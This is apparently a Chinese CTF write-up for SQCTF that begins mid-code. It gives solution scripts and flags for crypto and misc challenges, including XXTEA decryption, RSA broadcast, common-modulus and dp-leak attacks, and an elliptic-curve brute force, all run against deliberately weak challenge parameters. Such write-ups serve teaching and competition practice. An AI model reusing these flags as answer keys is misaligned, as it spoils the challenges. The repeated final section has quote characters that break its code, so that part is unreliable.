((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))
bool btea(unsigned int* v, int n, unsigned int* k) {
unsigned int z = v[n - 1], y = v[0], sum = 0, e, DELTA = 0x9e3779b9;
unsigned int p, q;
if (n > 1) { /* Coding Part */
q = 6 + 52 / n;
while (q-- > 0) {
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
y = v[p + 1], z = v[p] += MX;
y = v[0];
z = v[n - 1] += MX;
}
return 0;
}
else if (n < -1) { /* Decoding Part */
n = -n;
q = 6 + 52 / n;
sum = q * DELTA;
while (sum != 0) {
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
z = v[p - 1], y = v[p] -= MX;
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
}
return 0;
}
return 1;
}
int main(int argc, char const* argv[]) {
// test
unsigned int v[2] = { 0x8F748963, 0xCB1D96A8 }, key[4] = { 0x12345678, 0x9ABCDEF0, 0xFEDCBA98, 0x87654321 };
//printf("%u,%u\n", v[0], v[1]);
//btea(v, 2, key);
//printf("%u,%u\n", v[0], v[1]);
btea(v, -2, key);
char* p = (char*)v;
for (int i = 0; i < 8; i++) {
printf("%c", *p);
p++;
}
//printf("%u,%u\n", v[0], v[1]);
return 0;
}
//tyandctf
天下谁人不识君
s = 'wesyvbniazxchjko1973652048@$+-&*<>'
encrypted = 'v7b3boika$h4h5j0jhkh161h79393i5x010j0y8n$i'
flag = []
for i in range(len(encrypted) // 2):
# 获取当前两个字符
c1 = encrypted[2 * i]
c2 = encrypted[2 * i + 1]
# 计算s1和s2
idx_c1 = s.index(c1)
s1 = (idx_c1 - i) % 34
idx_c2 = s.index(c2)
s2 = (-idx_c2 - i - 1) % 34
# 还原原始字符的ASCII码并转换
char_code = s1 * 17 + s2
flag_char = chr(char_code)
flag.append(flag_char)
print(''.join(flag))
SQCTF{libai_jianxian}
CRY
base?
kR53l4pXoztyd3wSe3kJc3dBpyQQpj8Qbm8Odm8Jcz4OpC5zcClzcCgPvg==
base64解码
字符集是 0-9a-zA-Z+/=
SQCTF{b7b48685-03ef-4e24-b25b-212fac2ec2d3}
别阴阳我了行吗?
阴阳怪气解码 https://std.ac/yygq.js/
SQCTF{xm!tql!xm!}
简单RSA
from Crypto.Util.number import *
import gmpy2
e = 65537
p = 85729314844316224669788680650977264735589729061816788627612566392188298017717541385878388569465166835406950222982743897376939980435155664145111997305895651382483557180799129871344729666249390412399389403988459762024929767702864073925613168913279047262718022068944038280618279450911055132404010863611867388261
q = 85729314844316224669788680650977264735589729061816788627612566392188298017717541385878388569465166835406950222982743897376939980435155664145111997305895651382483557180799129871344729666249390412399389403988459762024929767702864073925613168913279047262718022068944038280618279450911055132404010863614460682753
c = 3514741378432598036735573845050830323348005144476193092687936757918568216312321624978086999079287619464038817665467748860146219342413630364856274551175367026504110956407511224659095481178589587424024682256076598582558926372354316897644421756280217349588811321954271963531507455604340199167652015645135632177429144241732132275792156772401511326430069756948298403519842679923368990952555264034164975975945747016304948179325381238465171723427043140473565038827474908821764094888942553863124323750256556241722284055414264534546088842593349401380142164927188943519698141315554347020239856047842258840826831077835604327616
n = 7349515423675898192891607474991784569723846586810596813062667159281369435049497248016288479718926482987176535358013000103964873016387433732111229186113030853959182765814488023742823409594668552670824635376457830121144679902605863066189568406517231831010468189513762519884223049871926129263923438273811831862385651970651114186155355541279883465278218024789539073180081039429284499039378226284356716583185727984517316172565250133829358312221440508031140028515954553016396884149904097959425582366305748700291610280675014390376786701270107136492645593662763444032174543205008326706371954830419775515459878227148997362533
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))
春风得意马蹄疾
- 核心价值观解密
SQCTF{E2jacnicamcm_cnanamw_kwkma}
ezCRT
低指数加密广播攻击(e很小;多组n,c)
这里猜e=3,别问问就是猜的
适用情况:很多组不同的n和c,但用的是同一个e且很小。
此时我们可以使用中国剩余定理来求出m,什么是中国剩余定理自己去了解:https://www.di-mgt.com.au/crt_rsa.html
from Crypto.Util.number import *
import gmpy2
from sympy.ntheory.modular import crt
import libnum
n1 = 64461804435635694137780580883118542458520881333933248063286193178334411181758377012632600557019239684067421606269023383862049857550780830156513420820443580638506617741673175086647389161551833417527588094693084581758440289107240400738205844622196685129086909714662542181360063597475940496590936680150076590681
n2 = 82768789263909988537493084725526319850211158112420157512492827240222158241002610490646583583091495111448413291338835784006756008201212610248425150436824240621547620572212344588627328430747049461146136035734611452915034170904765831638240799554640849909134152967494793539689224548564534973311777387005920878063
n3 = 62107516550209183407698382807475681623862830395922060833332922340752315402552281961072427749999457737344017533524380473311833617485959469046445929625955655230750858204360677947120339189429659414555499604814322940573452873813507553588603977672509236539848025701635308206374413195614345288662257135378383463093
c1 = 36267594227441244281312954686325715871875404435399039074741857061024358177876627893305437762333495044347666207430322392503053852558456027453124214782206724238951893678824112331246153437506819845173663625582632466682383580089960799423682343826068770924526488621412822617259665379521455218674231901913722061165
c2 = 58105410211168858609707092876511568173640581816063761351545759586783802705542032125833354590550711377984529089994947048147499585647292048511175211483648376727998630887222885452118374649632155848228993361372903492029928954631998537219237912475667973649377775950834299314740179575844464625807524391212456813023
c3 = 23948847023225161143620077929515892579240630411168735502944208192562325057681298085309091829312434095887230099608144726600918783450914411367305316475869605715020490101138282409809732960150785462082666279677485259918003470544763830384394786746843510460147027017747048708688901880287245378978587825576371865614
e = 3
n = [n1,n2,n3]
c = [c1,c2,c3]
resultant, mod = crt(n, c)
value, is_perfect = gmpy2.iroot(resultant, e)
print(long_to_bytes(value))
密室逃脱的终极挑战
拖入ida查看字符串就可以看到flag
SQCTF{F4BBAC33-8D80-A886-5238-EA35B38B353A}
丢三落四的小I
from Crypto.Util.number import *
import gmpy2
n= 15124759435262214519214613181859115868729356369274819299240157375966724674496904855757710168853212365134058977781083245051947523020090726851248565503324715984500225724227315777864292625995636236219359256979887906731659848125792269869019299002807101443623257106289957747665586226912446158316961637444556237354422346621287535139897525295200592525427472329815100310702255593134984040293233780616515067333512830391860868933632383433431739823740865023004008736555299772442805617275890761325372253913686933294732259451820332316315205537055439515569011020072762809613676347686279082728000419370190242778504490370698336750029
e= 65537
dp= 1489209342944820124277807386023133257342259912189247976569642906341314682381245025918040456151960704964362424182449567071683886673550031774367531511627163525245627333820636131483140111126703748875380337657189727259902108519674360217456431712478937900720899137512461928967490562092139439552174099755422092113
c= 4689152436960029165116898717604398652474344043493441445967744982389466335259787751381227392896954851765729985316050465252764336561481633355946302884245320441956409091576747510870991924820104833541438795794034004988760446988557417649875106251230110075290880741654335743932601800868983384563972124570013568709773861592975182534005364811768321753047156781579887144279837859232399305581891089040687565462656879173423137388006332763262703723086583056877677285692440970845974310740659178040501642559021104100335838038633269766591727907750043159766170187942739834524072423767132738563238283795671395912593557918090529376173
for i in range(1, e + 1):
if (dp * e - 1) % i == 0:
if n % (((dp * e - 1) // i) + 1) == 0:
p = ((dp * e - 1) // i) + 1
q = n // p
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
字母的轮舞与维吉尼亚的交响曲
N ehuzrhz tq tnjde ctcdy fraos qrur "Znk Mfnjwpd Ejlry tq Suqttaip." Lusplespsy nd a izcsk tq cxjltoty tu yse mwzuv, fyd ytwizzoe ox ehk tyle tftrje fuw wotjwitjds.Vjchgud iz bls gy ehox aoose tnfe I lnyarqj utipryyzoj Hzluspl Hzpnjíf lnj Ozsé Gwnajnz.Oaw sosjeocs meitxey f alghp wk qzvk szt hjnaaxp iz nd oaw sosjeocs, muz gpcgzde cj mernpvk ne tu gp oaw sosjeocs. Sosj ts axpd gx l prfne zt ceyy l dxnqtosr suzw, ati ehgy ts cmj iz xxerqd ol ipcgd lnj ipazm, wiqj hizmprki wegaps gso dkxprzjo ykqwoc xzir. Yz rkyfrt mzmk nd tu gcegp ehk hznijat uk "xe" hfnk oseo "ax," eo hj tnzjrrgypd oseo yznh g mfgk bsorj ehgy dlubwy hjnosjd itatsogwe, Sfnotiz, tnj Nizd zf Sncruwd.“Ot f hitypr tnrhz, yse ytfp vte wgx mooqtnm ty tnj dtuap, bay se sndski ehk xheryprosr hkfe it yse hfnk nfwl uk ehk gzoqxeoxj. Ehk mfm uk ehk xfn'y wlyy ty tnj ouyyj arrznj ycekx, ehk klity dixjys uk ehk rtdjfj mkfw, ay mp hgi tn Sfnotiz ykfcnki qox yse ytfp us ehk xeobj tn cnytkw, ehk hllr tq tnj nolkpe-vjodrjc, ati ehk xhily qlolst uk ehk qlrqx tn yucitl. GTLBT{bxc_oun_ewq!}"Xnkhgt," se yftd, zzcnosr tu Rlcusoo. Zmp tct eyvjd ol szszfwgof hexj wiqj xixwzry tapuxttk, fyd nj hay xeuip tn hjewkjy, cusquyjo, utfmlk yz mgnytgny a yzmlorp txfysijydksne.”
先维吉尼亚密码解密,密钥是flag,解密后是
I thought of these words again from "One Hundred Years of Solitude." Lonelyness is a curse of creation to the group, and solitude is the only outlet for loneliness.Perhaps it was at this point that I finally understood Colonel Buendía and José Arcadio.Our hometown becomes a place we love not because it is our hometown, but because we believe it to be our hometown. Home is used as a place to rest a drifting soul, and that is why it smells of decay and death, like withered leaves and deserted yellow soil. To return home is to break the concept of "me" back into "us," to be integrated into such a huge whole that slowly becomes invisible, Macondo, the City of Mirrors.“On a winter night, the soup pot was boiling on the stove, but he missed the sweltering heat in the back hall of the bookstore. The hum of the sun's rays on the dusty almond trees, the faint sirens of the midday meal, as he had in Macondo yearned for the soup on the stove in winter, the call of the coffee-peddler, and the swift flight of the larks in spring. VTFWI{brx_duh_zlq!}"Rizhao," he said, turning to Macondo. The two types of nostalgia were like mirrors opposite, and he was stuck in between, confused, unable to maintain a sublime transcendence.”
注意到:VTFWI{brx_duh_zlq!}
利用 凯撒Caesar解码 轮数是3
解密后是:
SQCTF{you_are_win!}
玩的挺变态啊清茶哥
猪圈密码,对照猪圈密码表解得flag
https://www.metools.info/code/c90.html
SQCTF{jijibaotonghualizuoyingxiong}
你的天赋是什么
摩斯密码解码
… --.- -.-. - …-. ----.-- -.-- — …- -…- … .- …- . -…- - .- .-… . -. - -----.-
SQCTF{YOU-HAVE-TALENT}
Common Modulus
共模攻击
场景介绍
识别:若干次加密,e不同,n相同,m相同。就可以在不分解n和求d的前提下,解出明文m。
import sys
import binascii
sys.setrecursionlimit(1000000)
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
n= 13650503560233612352420237787159267432351878281073422449253560365809461612884248041710373755322100953953257608601227381211434513766352420535096028618735289379355710140356003114010103377509526452574385251495847301426845768427018504464757671958803807138699056193259160806476941875860254288376872925837127208612702688503022494109785623082365323949385021488106289708499091818714253710552213982060745736652306892896670424179736886691685639988637188591805479432332714690818805432648223229601082431517091667297328748597580733946557364100555781113940729296951594110258088501146224322799560159763097710814171619948719257894889
c1= 3366500968116867439746769272799247895217647639427183907930755074259056811685671593722389247697636905214269760325119955242254171223875159785479900114989812511815466122321484289407596620307636198001794029251197349257235827433633936216505458557830334779187112907940003978773672225479445837897135907447625387990203145231671233038707457396631770623123809080945314083730185110252441203674945146889165953135351824739866177205127986576305492490242804571570833778440870959816207461376598067538653432472043116027057204385251674574207749241503571444801505084599753550983430739025050926400228758055440679102902069032768081393253
c2= 7412517103990148893766077090616798338451607394614015195336719617426935439456886251056015216979658274633552687461145491779122378237012106236527924733047395907133190110919550491029113699835260675922948775568027483123730185809123757000207476650934095553899548181163223066438602627597179560789761507989925938512977319770704123979102211869834390476278761480516444396187746843654541476645830961891622999425268855097938496239480682176640906218645450399785130931214581370821403077312842724336393674718200919934701268397883415347122906912693921254353511118129903752832950063164459159991128903683711317348665571285175839274346
e1= 4217054819
e2= 2800068527
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
if s1<0:
s1 = - s1
c1 = modinv(c1, n)
elif s2<0:
s2 = - s2
c2 = modinv(c2, n)
m=(pow(c1,s1,n)*pow(c2,s2,n)) % n
print(m)
print (binascii.unhexlify(hex(m)[2:].strip("L")))
《1789年的密文》
杰斐逊轮转加密
这里把文件路径换成你的文件路径
import re
text=""
with open("C:\\Users\\saulgoodman\\Desktop\\enc.txt","r",encoding="utf-8") as f: #这里把文件路径换成你的文件路径,我的文件名改成了enc.txt
text=f.read()
#print (text) 查看是否读取完整
code=[]#将字符提取出来放在这里
code=re.findall(r"<(.*)<",text)
for i in range(len(code)):
code[i]=code[i].strip()
print(code)
codetext="UNEHJPBIUOMAVZ" #密文
codenum="4,2,11,8,9,12,3,6,10,14,1,5,7,13" #key
codenum=codenum.split(",")#把这些数字都弄到一个里面去
#print(codenum)
a=0
print("解密后的:")
for i in codenum:
index=code[int(i)-1].index(codetext[a])
a=a+1
code[int(i)-1]=code[int(i)-1][index:]+code[int(i)-1][:index]
print(code[int(i)-1])
#完成了变形了
print("下面是每一列的")
for i in range(len(code[0])):
str=""
print("第{}列的是:".format(i),end="")
for j in codenum:
str+=code[int(j)-1][i]
print(str.lower())
运行后第16行是flag:maketysecgreat
SQCTF{maketysecgreat}
失落矿洞中的密码
我们已知椭圆曲线方程以及对应的生成元 base,还知道相应的模数以及公钥以及加密后的结果。
但是可以看出的我们的模数太小,我们暴力枚举获取结果。
这里直接参考 github 上的 sage 程序,暴力跑出 secret key。之后便可以解密了。
a = 1234577
b = 3213242
n = 7654319
E = EllipticCurve(GF(n), [0, 0, 0, a, b])
base = E([5234568, 2287747])
pub = E([2366653, 1424308])
c1 = E([5081741, 6744615])
c2 = E([610619, 6218])
X = base
for i in range(1, n):
if X == pub:
secret = i
print "[+] secret:", i
break
else:
X = X + base
print i
m = c2 - (c1 * secret)
print "[+] x:", m[0]
print "[+] y:", m[1]
print "[+] x+y:", m[0] + m[1]
暴力跑出结果
[+] secret: 1584718
[+] x: 2171002
[+] y: 3549912
[+] x+y: 5720914
MISC
Welcome_Sign_in
在公众号回复就能拿flag
ez_music1
转频谱图就出来了
SQCTF{Rush_B}
花非花,雾非雾_0
flag1
听声音像是摩斯密码。尝试用Audacity打开,通过观察波形与声音应该是摩斯电码。
--... -... -.... -.... --... ..... ...--
....- ...-- ..--- ...-- ----. ..--- -..
{fu429-
flag2
Stegsolve查看red blue green三通道最低二进制位的方法,把这三个通道都改成0,然后翻到最上面能看到flag2
flag3
love.host
foremost ./test.jpg 分离后有关zip文件解压后能拿到flag
piet
我们对得到图片进行piet解密
https://www.bertnase.de/npiet/npiet-execute.php
上传图片解密就是flag
来放在这里
code=re.findall(r"<(.*)<“,text)
for i in range(len(code)):
code[i]=code[i].strip()
print(code)
codetext=“UNEHJPBIUOMAVZ” #密文
codenum=“4,2,11,8,9,12,3,6,10,14,1,5,7,13” #key
codenum=codenum.split(”,")#把这些数字都弄到一个里面去
#print(codenum)
a=0
print(“解密后的:”)
for i in codenum:
index=code[int(i)-1].index(codetext[a])
a=a+1
code[int(i)-1]=code[int(i)-1][index:]+code[int(i)-1][:index]
print(code[int(i)-1])
#完成了变形了
print(“下面是每一列的”)
for i in range(len(code[0])):
str=“”
print(“第{}列的是:”.format(i),end=“”)
for j in codenum:
str+=code[int(j)-1][i]
print(str.lower())
运行后第16行是flag:maketysecgreat
SQCTF{maketysecgreat}
### 失落矿洞中的密码
我们已知椭圆曲线方程以及对应的生成元 base,还知道相应的模数以及公钥以及加密后的结果。
但是可以看出的我们的模数太小,我们暴力枚举获取结果。
这里直接参考 github 上的 sage 程序,暴力跑出 secret key。之后便可以解密了。
```python
a = 1234577
b = 3213242
n = 7654319
E = EllipticCurve(GF(n), [0, 0, 0, a, b])
base = E([5234568, 2287747])
pub = E([2366653, 1424308])
c1 = E([5081741, 6744615])
c2 = E([610619, 6218])
X = base
for i in range(1, n):
if X == pub:
secret = i
print "[+] secret:", i
break
else:
X = X + base
print i
m = c2 - (c1 * secret)
print "[+] x:", m[0]
print "[+] y:", m[1]
print "[+] x+y:", m[0] + m[1]
暴力跑出结果
[+] secret: 1584718
[+] x: 2171002
[+] y: 3549912
[+] x+y: 5720914
MISC
Welcome_Sign_in
在公众号回复就能拿flag
ez_music1
转频谱图就出来了
SQCTF{Rush_B}
花非花,雾非雾_0
flag1
听声音像是摩斯密码。尝试用Audacity打开,通过观察波形与声音应该是摩斯电码。
--... -... -.... -.... --... ..... ...--
....- ...-- ..--- ...-- ----. ..--- -..
{fu429-
flag2
Stegsolve查看red blue green三通道最低二进制位的方法,把这三个通道都改成0,然后翻到最上面能看到flag2
[外链图片转存中…(img-CJwKJASl-1744594155985)]
flag3
love.host
foremost ./test.jpg 分离后有关zip文件解压后能拿到flag
piet
我们对得到图片进行piet解密
https://www.bertnase.de/npiet/npiet-execute.php
上传图片解密就是flag